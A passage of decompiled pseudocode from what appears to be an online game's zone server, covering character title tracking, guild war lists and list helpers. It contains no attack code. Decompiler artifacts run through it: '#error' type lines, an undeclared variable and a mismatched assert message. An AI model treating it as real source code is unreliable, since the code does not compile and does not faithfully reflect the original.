*(_DWORD *)(v10 + 112), v10, (int)&WeaponInven); v7 = (int)netcmd->Prefix; LOBYTE(nNewElementNo) = WeaponMobLevel; goto LABEL_10; } } CT_SET_CURRENT_FAIL: v26 = 2562; v24 = *(_WORD *)&v6->Prefix[1]; v22 = v6->Prefix[0]; v21 = v6->Level; goto LABEL_15; } LABEL_10: v11 = *(_BYTE *)(v8 + 561); LOBYTE(CurrentTitle) = *(_BYTE *)(v8 + 560); v12 = *(_WORD *)(v8 + 562); LOBYTE(netcmd) = v11; if ( CCharacterTitle::IsUsableTitle((CCharacterTitle *)v8, CurrentTitle, v11, v12) ) { CCharacterTitleZone::SetTitleStatusZone((CCharacterTitleZone *)v8, CurrentTitle, (char)netcmd, ELEMENT_USABLE); v27 = 2; v25 = (char)netcmd; v23 = CurrentTitle; } else { CCharacterTitleZone::SetTitleStatusZone((CCharacterTitleZone *)v8, CurrentTitle, (char)netcmd, ELEMENT_KNOWNED); v27 = 1; v25 = (char)netcmd; v23 = CurrentTitle; } CCharacterTitleZone::SetTitleStatus((CCharacterTitleZone *)v8, v23, v25, v27); v13 = (const char *)v7; v14 = nNewElementNo; CCharacterTitle::SetCurrentTitle((CCharacterTitle *)v8, v6->Level, nNewElementNo, *(_WORD *)&v6->Prefix[1], v13); CCharacterTitle::SetTitleStatus((CCharacterTitle *)v8, v6->Level, v6->Prefix[0], ELEMENT_USE); BYTE1(netcmd) = v6->Level << 6; LOBYTE(netcmd) = 0; CCharacterTitleZone::Send_NC_CT_DB_SET_CMD((CCharacterTitleZone *)v8, (CT_INFO *)&netcmd); v15 = (v6->Prefix[0] << 6) | 1; LOBYTE(netcmd) = 0; BYTE1(netcmd) = v15; CCharacterTitleZone::Send_NC_CT_DB_SET_CMD((CCharacterTitleZone *)v8, (CT_INFO *)&netcmd); v16 = (v6->Prefix[1] << 6) | 2; LOBYTE(netcmd) = 0; BYTE1(netcmd) = v16; CCharacterTitleZone::Send_NC_CT_DB_SET_CMD((CCharacterTitleZone *)v8, (CT_INFO *)&netcmd); CCharacterTitleZone::Send_NC_CT_SET_CURRENT_ACK( (CCharacterTitleZone *)v8, v6->Level, v14, *(_WORD *)&v6->Prefix[1], 0xA01u); v17 = *(_DWORD *)((char *)v4 + 78); v18 = *(_DWORD *)v17; v19 = *(_DWORD *)(v17 + 4); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v4 + 1184))( v4, *((_WORD *)v4 + 2), "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"); v20 = *(_DWORD *)((char *)v4 + 78); *(_DWORD *)v20 = v18; *(_DWORD *)(v20 + 4) = v19; LABEL_16: --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"); } //----- (005507B0) -------------------------------------------------------- #error "5507B0: undefined or illegal type '#325' (funcsize=537)" //----- (00550DE0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_MoneyGive(CCharacterTitleZone *this, unsigned __int64 nMoney, unsigned int nTo) { CCharacterTitleZone *v3; // esi@1 int v4; // edi@1 v3 = this; v4 = mysecond(0); if ( v3->m_MoneyGiveTimeValue + 30 >= v4 ) { v3->m_MoneyGiveTimeValue = v4; v3->m_MoneyGivenToRegNum = nTo; } else { if ( nTo != v3->m_MoneyGivenToRegNum ) { ++v3->m_TitleValues[6]; CCharacterTitleZone::CheckNewTitle(v3, 6); } v3->m_MoneyGivenToRegNum = nTo; v3->m_MoneyGiveTimeValue = v4; } } //----- (00550E60) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_MoneyBeg(CCharacterTitleZone *this, unsigned __int64 nMoney, unsigned int nFrom) { CCharacterTitleZone *v3; // esi@1 int v4; // edi@1 v3 = this; v4 = mysecond(0); if ( v3->m_MoneyBegTimeValue + 30 >= v4 ) { v3->m_MoneyBegTimeValue = v4; v3->m_MoneyBegnFromRegNum = nFrom; } else { if ( nFrom != v3->m_MoneyBegnFromRegNum ) { ++v3->m_TitleValues[7]; CCharacterTitleZone::CheckNewTitle(v3, 7); } v3->m_MoneyBegnFromRegNum = nFrom; v3->m_MoneyBegTimeValue = v4; } } //----- (00550EE0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_KilledByMob(CCharacterTitleZone *this, unsigned __int16 nMobID, unsigned __int16 nMobHandle) { CCharacterTitleZone *v3; // esi@1 int v4; // edi@1 v3 = this; ++this->m_TitleValues[9]; CCharacterTitleZone::CheckNewTitle(this, 9); v4 = mysecond(0); if ( v3->m_KilledByMobTimeValue + 180 >= v4 ) { v3->m_KilledByMobTimeValue = v4; v3->m_KilledByMobHandle = nMobHandle; } else { if ( nMobHandle != v3->m_KilledByMobHandle ) { ++v3->m_TitleValues[8]; CCharacterTitleZone::CheckNewTitle(v3, 8); } v3->m_KilledByMobHandle = nMobHandle; v3->m_KilledByMobTimeValue = v4; } } //----- (00550F90) -------------------------------------------------------- #error "550F90: undefined or illegal type '#325' (funcsize=30)" //----- (00551000) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_PartyJoin(CCharacterTitleZone *this, unsigned __int16 nPartyNo, int nNumOfMember) { CCharacterTitleZone *v3; // esi@1 int v4; // eax@1 v3 = this; v4 = mysecond(0); if ( v3->m_PartyJoinTimeValue + 60 < v4 && v3->m_PartyJoinPartyNo != nPartyNo ) { if ( nNumOfMember >= 5 ) { v3->m_PartyJoinPartyNo = nPartyNo; v3->m_PartyJoinTimeValue = v4; ++v3->m_TitleValues[16]; CCharacterTitleZone::CheckNewTitle(v3, 16); } } } //----- (00551070) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_KQJoin(CCharacterTitleZone *this) { ++this->m_TitleValues[20]; CCharacterTitleZone::CheckNewTitle(this, 20); } //----- (005510A0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_KQSuccess(CCharacterTitleZone *this) { ++this->m_TitleValues[21]; CCharacterTitleZone::CheckNewTitle(this, 21); } //----- (005510D0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_KQFail(CCharacterTitleZone *this) { ++this->m_TitleValues[22]; CCharacterTitleZone::CheckNewTitle(this, 22); } //----- (00551100) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_SellNPC(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, unsigned __int16 nNPCID) { ++this->m_TitleValues[23]; CCharacterTitleZone::CheckNewTitle(this, 23); } //----- (00551130) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_BuyNPC(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, unsigned __int16 nNPCID) { ++this->m_TitleValues[24]; CCharacterTitleZone::CheckNewTitle(this, 24); } //----- (00551160) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_ItemUpSuccess(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel) { CCharacterTitleZone *v3; // esi@1 v3 = this; if ( (unsigned __int8)nItemLevel >= 2u ) { ++this->m_TitleValues[27]; CCharacterTitleZone::CheckNewTitle(this, 27); } if ( *(_QWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] == nItemNo && (unsigned __int8)nItemLevel >= 2u && v3->m_nUpgradeItemStatus == 1 ) { ++v3->m_TitleValues[29]; CCharacterTitleZone::CheckNewTitle(v3, 29); } if ( (unsigned __int8)LODWORD(v3->m_TitleValues[31]) < nItemLevel ) { v3->m_TitleValues[31] += (unsigned __int8)nItemLevel - (unsigned __int8)LODWORD(v3->m_TitleValues[31]); CCharacterTitleZone::CheckNewTitle(v3, 31); } *(_DWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] = *(_DWORD *)&nItemNo; v3->m_nUpgradeItemStatus = ((unsigned __int8)nItemLevel < 2u) + 1; v3->m_nUpgradeItemNo.binary._bf4 = nItemNo.binary._bf4; } //----- (00551240) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_ItemUpFail(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel) { CCharacterTitleZone *v3; // esi@1 v3 = this; ++this->m_TitleValues[28]; CCharacterTitleZone::CheckNewTitle(this, 28); if ( *(_QWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] == nItemNo && !v3->m_nUpgradeItemStatus && (unsigned __int8)nItemLevel >= 2u ) { ++v3->m_TitleValues[30]; CCharacterTitleZone::CheckNewTitle(v3, 30); } *(_QWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] = nItemNo; v3->m_nUpgradeItemStatus = 0; } //----- (005512E0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_ItemUpDestroy(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel) { CCharacterTitleZone *v3; // esi@1 v3 = this; ++this->m_TitleValues[32]; CCharacterTitleZone::CheckNewTitle(this, 32); ++v3->m_TitleValues[28]; CCharacterTitleZone::CheckNewTitle(v3, 28); v3->m_nUpgradeItemStatus = 0; *(_QWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] = nItemNo; } //----- (00551350) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_AddFrined(CCharacterTitleZone *this, unsigned __int16 nNumOfFriend) { this->m_TitleValues[34] = nNumOfFriend; CCharacterTitleZone::CheckNewTitle(this, 34); } //----- (00551370) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_QuestSuccess(CCharacterTitleZone *this, unsigned __int16 nQuestID) { ++this->m_TitleValues[40]; CCharacterTitleZone::CheckNewTitle(this, 40); } //----- (005513A0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_Chatting(CCharacterTitleZone *this) { this->m_TitleValues[41] = 0i64; CCharacterTitleZone::CheckNewTitle(this, 41); } //----- (005513C0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_BroadCast(CCharacterTitleZone *this) { ++this->m_TitleValues[42]; CCharacterTitleZone::CheckNewTitle(this, 42); } //----- (005513F0) -------------------------------------------------------- #error "5513F0: undefined or illegal type '#325' (funcsize=59)" //----- (005514F0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_WinDiceTaiSaiWin(CCharacterTitleZone *this, unsigned __int16 nWinCnt) { this->m_TitleValues[58] += nWinCnt; CCharacterTitleZone::CheckNewTitle(this, 58); } //----- (00551530) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_WinDiceTaiSaiSet(CCharacterTitleZone *this) { ++this->m_TitleValues[59]; CCharacterTitleZone::CheckNewTitle(this, 59); } //----- (00551560) -------------------------------------------------------- int __thiscall CCharacterTitleZone::ProcessTitle(CCharacterTitleZone *this) { CCharacterTitleZone *v1; // esi@1 int v2; // eax@1 v1 = this; v2 = mysecond(0) / 60; if ( v2 != v1->m_ProcessedTime ) { v1->m_ProcessedTime = v2; ++v1->m_TitleValues[3]; CCharacterTitleZone::CheckNewTitle(v1, 3); ++v1->m_TitleValues[4]; CCharacterTitleZone::CheckNewTitle(v1, 4); ++v1->m_TitleValues[41]; CCharacterTitleZone::CheckNewTitle(v1, 41); LODWORD(v1->m_TitleValues[43]) = CCharacterTitle::GetMyTitleCount(&v1->baseclass_0); HIDWORD(v1->m_TitleValues[43]) = 0; CCharacterTitleZone::CheckNewTitle(v1, 43); } return 0; } //----- (00551630) -------------------------------------------------------- void __thiscall IObserver::_IObserver(ItemSmallBag *this) { this->vfptr = (ItemSmallBagVtbl *)ItemSmallBag::_vftable_; } // 5E6370: using guessed type int (*ItemSmallBag_ItemInform_ActionItem____vftable_[3])(); //----- (00551640) -------------------------------------------------------- unsigned __int16 __thiscall IObserver::notify(IObserver *this, #325 *a2, #325 *a3, IObserver::Event happen, const unsigned int DwParam, const int SDwParam, unsigned int birth) { return 2; } //----- (00551650) -------------------------------------------------------- #error "551650: undefined or illegal type '#325' (funcsize=9)" //----- (00551680) -------------------------------------------------------- #error "551680: undefined or illegal type '#325' (funcsize=11)" //----- (005516B0) -------------------------------------------------------- #error "5516B0: undefined or illegal type '#325' (funcsize=29)" //----- (00551700) -------------------------------------------------------- #error "551700: undefined or illegal type '#325' (funcsize=11)" //----- (00551720) -------------------------------------------------------- void __thiscall GUILD_ZONE::GUILD_ZONE(GUILD_ZONE *this) { *(_QWORD *)&this->sName.n4_name[8] = 0i64; *(_QWORD *)&this->sName.n4_name[0] = 0i64; } //----- (00551740) -------------------------------------------------------- int __thiscall GUILD_ZONE::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_BYTE *)(this + 28) = *(_BYTE *)(a2 + 28); *(_BYTE *)(this + 29) = *(_BYTE *)(a2 + 29); *(_DWORD *)(this + 30) = *(_DWORD *)(a2 + 30); *(_WORD *)(this + 34) = *(_WORD *)(a2 + 34); *(_DWORD *)(this + 36) = *(_DWORD *)(a2 + 36); *(_DWORD *)(this + 40) = *(_DWORD *)(a2 + 40); *(_BYTE *)(this + 44) = *(_BYTE *)(a2 + 44); *(_DWORD *)(this + 45) = *(_DWORD *)(a2 + 45); return result; } //----- (005517B0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_ByteLot::iac_GetAttrSize(ItemAttrCls_WeaponTitlaLicence *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 1; } //----- (005517C0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5E4498: using guessed type int (__stdcall *List_CGuildZone__GUILD_ZONE_LIST____vftable_[3])(__int16 hnd); //----- (005517E0) -------------------------------------------------------- void __thiscall CGuildZone::GUILD_ZONE_LIST::GUILD_ZONE_LIST(CGuildZone::GUILD_ZONE_LIST *this) { GUILD_ZONE::GUILD_ZONE(&this->GuildZone); } //----- (005517F0) -------------------------------------------------------- void __thiscall CGuildZone::_CGuildZone(CGuildZone *this) { CGuildZone *v1; // esi@1 void *v2; // esi@1 v1 = this; this->vfptr = (CGuildZoneVtbl *)&CGuildZone::_vftable_; _eh_vector_destructor_iterator_( this->gz_GuildArray, 0x3Cu, 8192, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->gz_GuildList.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->gz_GuildList.l_Array; if ( v2 ) operator delete__(v2); } // 5E4498: using guessed type int (__stdcall *List_CGuildZone__GUILD_ZONE_LIST____vftable_[3])(__int16 hnd); // 5E44B4: using guessed type int (__thiscall *CGuildZone___vftable_)(CGuildZone *this, int pCmd); //----- (00551860) -------------------------------------------------------- int __thiscall CGuildZone::Add(CGuildZone *this, GUILD_ZONE *pGuildZone) { CGuildZone *v2; // ebx@1 unsigned __int16 v3; // ax@1 char *v4; // ecx@1 unsigned __int16 v5; // di@2 int v6; // esi@2 int result; // eax@5 v2 = this; v3 = this->gz_GuildList.l_Finger.empty; v4 = (char *)&this->gz_GuildList; if ( v3 == -1 ) { v5 = (unsigned __int16)pGuildZone; v6 = 0; } else { v5 = v3; v6 = (*(int (__stdcall **)(_WORD))(*(_DWORD *)v4 + 4))(v3); } if ( v6 ) { GUILD_ZONE::operator_(v6, (int)pGuildZone); *(_WORD *)(v6 + 56) = v5; *(_DWORD *)(v6 + 52) = 0; result = 1; } else { AssertClass::ac_AssertFail(&shineassert, "CGuildZone::ClearWar : Guild Buffer Full.", v2->gz_GuildList.l_ListNum); result = 0; } return result; } //----- (005518D0) -------------------------------------------------------- int __thiscall CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ(CGuildZone *this) { CGuildZone *v1; // esi@1 ZoneBaseSession *v2; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !v1->gz_IsSendReq ) { *(_WORD *)gpp.pp_Buffer = 29766; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v2 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v2); } else { AssertClass::ac_AssertFail(&shineassert, "CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ : Packet Too Long", 3); } v1->gz_IsSendReq = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ"); return 1; } //----- (005519C0) -------------------------------------------------------- #error "5519C0: undefined or illegal type '#325' (funcsize=68)" //----- (00551A80) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, CGuildZone::GUILD_ZONE_LIST *ele) { int v2; // eax@1 int v3; // eax@2 int v4; // esi@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2), (v4 = v3) != 0) ) { GUILD_ZONE::operator_(v3, (int)ele); *(_DWORD *)(v4 + 52) = ele->gzl_AttackMeGuild; *(_WORD *)(v4 + 56) = ele->gzl_ListHandle; result = 1; } else { result = 0; } return result; } //----- (00551AC0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, CGuildZone::GUILD_ZONE_LIST *ele) { int v2; // eax@1 int v3; // eax@2 int v4; // esi@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2), (v4 = v3) != 0) ) { GUILD_ZONE::operator_(v3, (int)ele); *(_DWORD *)(v4 + 52) = ele->gzl_AttackMeGuild; *(_WORD *)(v4 + 56) = ele->gzl_ListHandle; result = 1; } else { result = 0; } return result; } //----- (00551B10) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, CGuildZone::GUILD_ZONE_LIST *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 int v6; // eax@2 int v8; // edi@4 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; v8 = *(_DWORD *)v6; GUILD_ZONE::operator_((int)ele, *(_DWORD *)v6); ele->gzl_AttackMeGuild = *(_DWORD *)(v8 + 52); ele->gzl_ListHandle = *(_WORD *)(v8 + 56); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00551B70) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, CGuildZone::GUILD_ZONE_LIST *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 int v6; // eax@2 int v8; // edi@4 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; v8 = *(_DWORD *)v6; GUILD_ZONE::operator_((int)ele, *(_DWORD *)v6); ele->gzl_AttackMeGuild = *(_DWORD *)(v8 + 52); ele->gzl_ListHandle = *(_WORD *)(v8 + 56); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00551BD0) -------------------------------------------------------- void __thiscall CGuildZone::ClearWar(CGuildZone *this) { unsigned __int16 v1; // bp@2 unsigned __int16 v2; // di@3 ListStruct *v3; // edx@4 int v4; // eax@4 unsigned __int16 v5; // si@4 bool v6; // cf@4 bool v7; // zf@5 int v8; // edx@5 int v9; // edx@6 ListStruct *v10; // eax@9 if ( this->m_bInit ) { v1 = this->gz_GuildList.l_Array[this->gz_GuildList.l_Finger.store].ls_Next; while ( 1 ) { v2 = this->gz_GuildList.l_MaxSize; if ( v1 >= v2 ) break; v3 = this->gz_GuildList.l_Array; v4 = v1; v5 = v1; v6 = v1 < v2; v1 = v3[v1].ls_Next; if ( !v6 || (v7 = v3[v4].ls_IsActiv == 0, v8 = (int)&v3[v4], v7) ) v9 = 0; else v9 = *(_DWORD *)v8; *(_BYTE *)(v9 + 44) = 0; if ( v5 < this->gz_GuildList.l_MaxSize && (v10 = &this->gz_GuildList.l_Array[v4], v10->ls_IsActiv) ) v10->ls_Content->gzl_AttackMeGuild = 0; else v34 = 0; } } } //----- (00551C50) -------------------------------------------------------- CGuildZone::GUILD_ZONE_LIST *__thiscall CGuildZone::Find(CGuildZone *this, unsigned int nNo) { int v2; // eax@1 ListStruct *v3; // esi@1 unsigned __int16 v4; // cx@1 unsigned __int16 v5; // dx@1 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 int v9; // eax@4 bool v10; // zf@4 int v11; // eax@4 int v12; // eax@5 int v13; // eax@9 v2 = this->gz_GuildList.l_Finger.store; v3 = this->gz_GuildList.l_Array; v4 = this->gz_GuildList.l_MaxSize; v5 = v3[v2].ls_Next; while ( v5 < v4 ) { v6 = v5; v7 = v5; v8 = v5 < v4; v5 = v3[v5].ls_Next; if ( !v8 || (v9 = 3 * v6, v10 = v3[4 * v9 / 0xCu].ls_IsActiv == 0, v11 = (int)&v3[4 * v9 / 0xCu], v10) ) v12 = 0; else v12 = *(_DWORD *)v11; if ( *(_DWORD *)v12 == nNo ) { if ( v7 < v4 ) { v13 = (int)&v3[v7]; if ( *(_BYTE *)(v13 + 8) ) return *(CGuildZone::GUILD_ZONE_LIST **)v13; } return 0; } } return 0; } //----- (00551CD0) -------------------------------------------------------- int __thiscall CGuildZone::IsGuildEnemy(CGuildZone *this, unsigned int nGuild1, unsigned int nGuild2) { CGuildZone *v3; // ebp@1 CGuildZone::GUILD_ZONE_LIST *v4; // eax@1 int result; // eax@2 CGuildZone::GUILD_ZONE_LIST *v6; // eax@6 v3 = this; v4 = CGuildZone::Find(this, nGuild1); if ( v4 ) { if ( v4->GuildZone.nWarStatus == 2 && v4->GuildZone.nWarEnemy == nGuild2 || (v6 = CGuildZone::Find(v3, nGuild2)) != 0 && v6->GuildZone.nWarStatus == 2 && v6->GuildZone.nWarEnemy == nGuild1 ) { GuildWarManager::gwm_EnemyCheck(&gldwarman, 1, nGuild1, nGuild2); result = 1; } else { GuildWarManager::gwm_EnemyCheck(&gldwarman, 0, nGuild1, nGuild2); result = 0; } } else { GuildWarManager::gwm_EnemyCheck(&gldwarman, 0, nGuild1, nGuild2); result = 0; } return result; } //----- (00551D60) -------------------------------------------------------- int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_WAR_START_CMD *pCmd) { CGuildZone *v2; // esi@1 CGuildZone::GUILD_ZONE_LIST *v3; // eax@1 unsigned int v4; // ebp@1 CGuildZone::GUILD_ZONE_LIST *v5; // edi@1 CGuildZone::GUILD_ZONE_LIST *v6; // eax@1 int result; // eax@3 v2 = this; v3 = CGuildZone::Find(this, pCmd->nNo); v4 = pCmd->nEnemyNo; v5 = v3; v6 = CGuildZone::Find(v2, v4); if ( v6 && v5 ) { v5->GuildZone.nWarEnemy = v4; v5->GuildZone.nWarStatus = 2; v6->gzl_AttackMeGuild = pCmd->nNo; result = 1; } else { result = 0; } return result; } //----- (00551DB0) -------------------------------------------------------- int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_WAR_END_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_WAR_END_CMD *pCmd) { int result; // eax@1 result = (int)CGuildZone::Find(this, pCmd->nNo); if ( result ) { *(_DWORD *)(result + 45) = pCmd->nEnemyNo; *(_BYTE *)(result + 44) = 0; result = 1; } return result; } //----- (00551DE0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (00551E30) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00551F50) -------------------------------------------------------- int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_LIST_ACK(CGuildZone *this, PROTO_NC_GUILD_ZONE_LIST_ACK *pAck) { signed int v2; // esi@1 CGuildZone *v3; // ebp@1 GUILD_ZONE *v4; // edi@4 int result; // eax@6 v2 = 0; v3 = this; if ( pAck->PartMask & 1 ) { this->m_bInit = 0; List::l_Clear(&this->gz_GuildList); } if ( pAck->NumOfList > 0u ) { v4 = (GUILD_ZONE *)&pAck[1]; do { CGuildZone::Add(v3, v4); ++v2; ++v4; } while ( v2 < pAck->NumOfList ); } result = 1; if ( pAck->PartMask & 2 ) v3->m_bInit = 1; return result; } //----- (00551FA0) -------------------------------------------------------- int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_DELETE_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_DELETE_CMD *pCmd) { int v2; // ebp@0 CGuildZone *v3; // esi@1 List *v4; // edi@2 unsigned __int16 v6; // bp@5 unsigned __int16 v7; // cx@6 ListStruct *v8; // eax@7 int v9; // esi@7 unsigned __int16 v10; // bx@7 bool v11; // cf@7 int v12; // eax@8 int v13; // eax@9 ListStruct *v14; // eax@13 char v15; // cl@13 int v16; // eax@13 int v17; // ecx@14 int v18; // eax@17 int v19; // ecx@18 int v20; // eax@21 int v21; // eax@22 int v22; // eax@26 int v23; // eax@27 ListStruct *v24; // eax@31 char v25; // cl@31 int v26; // eax@31 int v27; // ecx@32 int v28; // eax@35 int v29; // ecx@36 int v30; // eax@39 CGuildZone::GUILD_ZONE_LIST *v31; // eax@42 int v32; // [sp-10h] [bp-14h]@5 CGuildZone *thisa; // [sp+0h] [bp-4h]@1 v3 = this; thisa = this; MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon(&mapclustermanager, CATEGORY_GUILD, pCmd->nNo); if ( !CGuildZone::Find(v3, pCmd->nNo) ) return 0; v4 = dword_124E32CC; if ( !dword_124E32CC ) { AssertClass::ac_AssertFail( &shineassert, "CGuildZone::Recv_NC_GUILD_ZONE_DELETE_CMD : NULL List", dword_124E32CC != 0); return 0; } v32 = v2; v6 = dword_124E32CC->l_Array[dword_124E32CC->l_Finger.store].ls_Next; while ( 1 ) { v7 = v4->l_MaxSize; if ( v6 >= v7 ) break; v8 = v4->l_Array; v9 = v6; v10 = v6; v11 = v6 < v7; v6 = v8[v6].ls_Next; if ( v11 && (v12 = (int)&v8[v9], *(_BYTE *)(v12 + 8)) ) v13 = *(_DWORD *)v12; else v13 = 0; if ( (*(int (__thiscall **)(int))(*(_DWORD *)v13 + 1980))(v13) == pCmd->nNo ) { if ( v10 < v4->l_MaxSize && (v14 = v4->l_Array, v15 = v14[v9].ls_IsActiv, v16 = (int)&v14[v9], v15) ) v17 = *(_DWORD *)v16; else v17 = 0; (*(void (__stdcall **)(_DWORD, int))(*(_DWORD *)v17 + 1984))(0, v32); if ( v10 < v4->l_MaxSize && (v18 = (int)&v4->l_Array[v9], *(_BYTE *)(v18 + 8)) ) v19 = *(_DWORD *)v18; else v19 = 0; v32 = 0; (*(void (**)(void))(*(_DWORD *)v19 + 1988))(); if ( v10 < v4->l_MaxSize && (v20 = (int)&v4->l_Array[v9], *(_BYTE *)(v20 + 8)) ) v21 = *(_DWORD *)v20; else v21 = 0; (*(void (__thiscall **)(int))(*(_DWORD *)v21 + 1992))(v21); } if ( v10 < v4->l_MaxSize && (v22 = (int)&v4->l_Array[v9], *(_BYTE *)(v22 + 8)) ) v23 = *(_DWORD *)v22; 